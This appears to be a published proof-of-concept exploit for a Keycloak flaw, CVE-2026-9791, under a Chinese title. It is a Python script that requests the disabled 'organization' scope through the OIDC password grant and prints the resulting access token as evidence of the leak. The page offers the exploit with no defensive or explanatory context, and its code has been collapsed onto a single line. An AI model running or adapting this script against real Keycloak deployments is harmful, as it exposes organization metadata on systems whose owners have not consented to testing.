CVE-2026-9791 Keycloak组织元数据信息泄露漏洞

import requests # Exploit Title: Keycloak CVE-2026-9791 Organization Metadata Disclosure # Description: PoC to retrieve organization metadata via OIDC token request even when the feature is disabled. # Configuration target_url = "https://<keycloak-domain>/realms/<realm-name>/protocol/openid-connect/token" client_id = "<client-id>" # e.g., account-console username = "<attacker-username>" password = "<attacker-password>" def exploit(): # Payload requesting 'organization' scope which should be disabled data = { "grant_type": "password", "client_id": client_id, "username": username, "password": password, "scope": "openid profile email organization" # The key trigger } try: response = requests.post(target_url, data=data) if response.status_code == 200: token_data = response.json() access_token = token_data.get('access_token') print("[+] Exploit successful! Token received.") print("[+] Access Token (Base64):", access_token) print("[+] Decode the JWT to verify 'organization' claims are present.") else: print("[-] Request failed. Status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()